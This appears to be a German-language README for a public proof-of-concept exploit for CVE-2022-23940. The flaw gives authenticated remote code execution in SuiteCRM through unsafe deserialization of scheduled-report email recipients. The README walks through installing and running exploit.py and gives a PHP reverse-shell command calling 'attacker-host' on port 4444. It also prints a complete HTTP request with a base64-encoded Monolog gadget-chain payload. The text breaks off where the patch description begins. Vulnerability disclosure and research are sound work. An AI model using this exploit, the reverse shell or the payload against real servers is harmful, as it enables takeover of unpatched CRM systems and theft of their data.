
PoC for CVE-2022-23940
PoC für CVE-2022-23940 aka SCRMBT-#187 - Authentifizierte Remote-Codeausführung über geplante Berichte in SuiteCRM (<= 7.12.4) und SuiteCRM-Core (<= 8.0.3).
Diese Schwachstelle wurde an SalesAgility gemeldet und in SuiteCRM 7.12.5 und SuiteCRM Core 8.0.4 behoben. In betroffenen Versionen kann jeder Benutzer mit Berechtigung zum Erstellen geplanter Berichte eine Remote-Codeausführung erlangen und den Server kompromittieren. Wenn Sie ältere Versionen von SuiteCRM verwenden, empfehle ich dringend, ein Update durchzuführen.
Installation
python3 und pip installiert ist.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"Verfügbare Optionen:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
Beispielnutzung:
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Benutzer, die geplante Berichte erstellen können (Einträge im AOR_Scheduled_Reports-Modul erstellen können), können durch Ausnutzung einer PHP-Deserialisierungsschwachstelle beliebigen Code auf dem Server ausführen.
Das AOR_Scheduled_Reports-Modul speichert die E-Mail-Empfänger des Berichts als serialisierte, base64-kodierte Zeichenfolgen in der Datenbank. Beim Empfangen der Daten für einen geplanten Bericht wird die genannte Spalte deserialisiert. Wenn Angreifer beliebigen Inhalt in diese Spalte einfügen können, können sie durch verschiedene PHP-Deserialisierungs-Gadgets eine RCE erreichen (in meinen Tests habe ich Monolog/RCE2 aus dem phpggc-Tool verwendet).
Das Payload kann mit dem Legacy-Save-Aufruf des AOR_Scheduled_Reports-Moduls in der Datenbank gespeichert werden. Der Server geht fälschlicherweise davon aus, dass der Parameter email_recipients immer ein Array ist. Wenn jedoch ein bösartiger Client den email_recipients einfach als Zeichenfolge übergibt, werden die Daten so in der Datenbank gespeichert. Nach der Deserialisierung werden die Gadgets auf dem Server ausgeführt und wir erhalten eine Remote-Codeausführung.
Die anfällige Implementierung der save-Funktion in der AOR_Scheduled_Reports-Klasse. Weiter unten sehen wir, dass get_email_recipients unserialize auf den Inhalt aufruft, der in der Datenbank gespeichert ist:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
Ein Beispiel für eine Anfrage zur Erstellung eines solchen bösartigen geplanten Berichts sieht wie folgt aus (wenn Sie den Wert für email_recipients decodieren, sehen Sie, dass er einfach touch /tmp/hacked ausführt):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
Wenn wir uns den korrigierten Code ansehen, sehen wir, dass die Entwickler eine neue parseRecipients-Funktion hinzugefügt haben, die die im Parameter email_recipients gespeicherten Daten parst und validiert, bevor sie in die Datenbank gespeichert werden. Nur wenn der Wert dem erwarteten Format entspricht, werden die Daten gespeichert. Daher funktioniert die Deserialisierungs-RCE nicht mehr:
